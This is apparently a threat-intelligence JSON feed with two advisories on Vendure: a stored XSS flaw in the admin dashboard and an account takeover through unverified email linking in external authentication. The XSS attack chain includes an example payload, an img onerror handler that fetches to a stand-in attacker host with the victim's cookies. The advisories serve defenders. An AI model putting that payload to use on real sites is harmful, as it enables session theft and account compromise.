{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/cpes/cpe2.3avendurevendure/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:vendure:vendure:*:*:*:*:*:*:*:*"],"_cs_cves":[{"cvss":8.7,"id":"CVE-2026-63459"}],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["Vendure Dashboard (\u003c 3.6.5)"],"_cs_severities":["high"],"_cs_tags":["xss","web-vulnerability","dashboard","ecommerce"],"_cs_type":"advisory","_cs_vendors":["Vendure"],"content_html":"\u003cp\u003eThe Vendure e-commerce framework contains a high-severity stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-63459, residing in the \u003ccode\u003e@vendure/dashboard\u003c/code\u003e package. The flaw exists within the \u003ccode\u003eRichTextDescriptionCell\u003c/code\u003e component, which is responsible for rendering entity descriptions in various administrative list views, including products, collections, promotions, payment methods, and shipping methods.\u003c/p\u003e\n\u003cp\u003eThe application attempts to strip HTML from user-supplied descriptions by assigning raw string input to the \u003ccode\u003einnerHTML\u003c/code\u003e property of a detached \u003ccode\u003ediv\u003c/code\u003e element. Because browsers parse and execute active markup within \u003ccode\u003einnerHTML\u003c/code\u003e - even in detached nodes - payloads such as \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e tags with \u003ccode\u003eonerror\u003c/code\u003e event handlers trigger immediately upon assignment. This enables a lower-privileged channel-scoped administrator to inject malicious scripts that execute with the permissions of any administrator who views the list containing the payload. Successful exploitation leads to session hijacking, token exfiltration, or the unauthorized performance of administrative actions within the dashboard. The vulnerability affects all versions of \u003ccode\u003e@vendure/dashboard\u003c/code\u003e prior to 3.6.5.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains access to an administrator account with at least catalog, promotion, or settings write permissions.\u003c/li\u003e\n\u003cli\u003eAttacker modifies a product, collection, or promotion entity description via the administrative API.\u003c/li\u003e\n\u003cli\u003eAttacker embeds a malicious payload within the description field using active markup, such as \u003ccode\u003e\u0026lt;img src=x onerror=\u0026quot;fetch('https://attacker.example/'+document.cookie)\u0026quot;\u0026gt;\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe application stores this malicious description string in the database as part of the entity configuration.\u003c/li\u003e\n\u003cli\u003eA high-privileged administrator (e.g., a superadmin) navigates to the administrative list view (e.g., Products, Promotions) in the Vendure dashboard.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eRichTextDescriptionCell\u003c/code\u003e component retrieves the malicious description and assigns it to a \u003ccode\u003ediv\u003c/code\u003e element via \u003ccode\u003einnerHTML\u003c/code\u003e during the React rendering cycle.\u003c/li\u003e\n\u003cli\u003eThe browser parses the \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e tag, fails to find the image source, and immediately executes the \u003ccode\u003eonerror\u003c/code\u003e JavaScript payload in the victim administrator's browser session.\u003c/li\u003e\n\u003cli\u003eThe script exfiltrates the victim's session token or performs unauthorized actions, achieving account or store compromise.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows for the compromise of high-privileged administrative accounts by lower-privileged administrators. This results in the loss of integrity and confidentiality for the e-commerce store, including potential unauthorized changes to products, pricing, or system configurations, and complete account takeover.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Vendure to version 3.6.5 or later immediately to resolve the vulnerable \u003ccode\u003eRichTextDescriptionCell\u003c/code\u003e implementation.\u003c/li\u003e\n\u003cli\u003eAudit administrative activity logs for unexpected \u003ccode\u003ePATCH\u003c/code\u003e or \u003ccode\u003ePOST\u003c/code\u003e requests to product, collection, or promotion endpoints containing HTML tags or script-like patterns.\u003c/li\u003e\n\u003cli\u003eImplement Content Security Policy (CSP) headers to restrict unauthorized script execution and \u003ccode\u003efetch\u003c/code\u003e requests within the administrative dashboard interface.\u003c/li\u003e\n\u003cli\u003eIf immediate patching is not possible, restrict administrative write permissions for description fields to the minimum number of trusted users.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-09-17T19:15:10Z","date_published":"2026-09-17T19:15:10Z","id":"https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/","summary":"A stored Cross-Site Scripting (XSS) vulnerability in the Vendure Admin Dashboard allows authenticated administrators to execute arbitrary JavaScript in the context of other users viewing entity lists, leading to potential account takeover.","title":"Stored XSS in Vendure Admin Dashboard via Unsafe HTML Stripping","url":"https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/"},{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:vendure:vendure:*:*:*:*:*:*:*:*"],"_cs_cves":[{"cvss":9.1,"id":"CVE-2026-63472"}],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["Vendure (\u003c 3.7.0)"],"_cs_severities":["critical"],"_cs_tags":["account-takeover","authentication-bypass","web-application"],"_cs_type":"advisory","_cs_vendors":["Vendure"],"content_html":"\u003cp\u003eVendure versions prior to 3.7.0 contain a critical vulnerability in the \u003ccode\u003eExternalAuthenticationService\u003c/code\u003e that enables account takeover. The flaw exists in the \u003ccode\u003ecreateCustomerAndUser\u003c/code\u003e method, which links external OAuth or SSO authentication identities to existing customer accounts based solely on an email address match. Crucially, the system does not enforce that the provided email address is verified by the external identity provider.\u003c/p\u003e\n\u003cp\u003eIn deployments using custom \u003ccode\u003eAuthenticationStrategy\u003c/code\u003e implementations - specifically those that fail to validate the \u003ccode\u003eemail_verified\u003c/code\u003e claim or improperly handle unverified email addresses - an attacker can register an account on an external provider using a victim's email address. When this attacker authenticates against the vulnerable Vendure instance, the application incorrectly binds the attacker's external identity to the pre-existing account belonging to the victim. This results in the attacker gaining full access to the victim's account, including PII, order history, and the ability to perform unauthorized transactions.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a Vendure instance configured with an external \u003ccode\u003eAuthenticationStrategy\u003c/code\u003e that does not enforce strict email verification.\u003c/li\u003e\n\u003cli\u003eAttacker creates an account on the external OIDC or OAuth provider using the target victim's email address (\u003ccode\u003evictim@example.com\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe external provider, not requiring rigorous verification, allows the registration.\u003c/li\u003e\n\u003cli\u003eAttacker initiates the authentication flow on the Vendure store using the external provider.\u003c/li\u003e\n\u003cli\u003eThe external provider passes the email address \u003ccode\u003evictim@example.com\u003c/code\u003e to the Vendure \u003ccode\u003eExternalAuthenticationService\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ecreateCustomerAndUser\u003c/code\u003e identifies a pre-existing user account associated with \u003ccode\u003evictim@example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe system silently links the attacker's \u003ccode\u003eExternalAuthenticationMethod\u003c/code\u003e to the victim's account without checking the \u003ccode\u003everified\u003c/code\u003e status.\u003c/li\u003e\n\u003cli\u003eAttacker logs in using the linked external provider and gains full access to the victim's account.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation leads to full account takeover, allowing attackers to read or modify victim PII, view private order histories, update shipping addresses, and place unauthorized orders on the victim's behalf. This vulnerability affects any Vendure deployment that utilizes external authentication strategies that accept unverified email claims.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eUpgrade all Vendure instances to version 3.7.0 or later immediately to address CVE-2026-63472.\u003c/li\u003e\n\u003cli\u003eAudit all custom \u003ccode\u003eAuthenticationStrategy\u003c/code\u003e implementations to ensure they only set \u003ccode\u003everified: true\u003c/code\u003e when the external identity provider has explicitly verified the email address ownership.\u003c/li\u003e\n\u003cli\u003eImplement logic within custom \u003ccode\u003eAuthenticationStrategy\u003c/code\u003e code to prevent silent linking of unverified external identities to existing accounts; require active user authentication or session verification before linking new external providers.\u003c/li\u003e\n\u003c/ol\u003e\n","date_modified":"2026-09-17T19:10:14Z","date_published":"2026-09-17T19:10:14Z","id":"https://feed.craftedsignal.io/briefs/2026-09-vendure-auth-bypass/","summary":"Vendure is vulnerable to account takeover due to the ExternalAuthenticationService allowing unverified external identity linking to existing user accounts via email matching.","title":"Account Takeover Vulnerability in Vendure External Authentication","url":"https://feed.craftedsignal.io/briefs/2026-09-vendure-auth-bypass/"}],"language":"en","title":"CraftedSignal Threat Feed - Cpe:2.3:a:vendure:vendure:*:*:*:*:*:*:*:*","version":"https://jsonfeed.org/version/1.1"}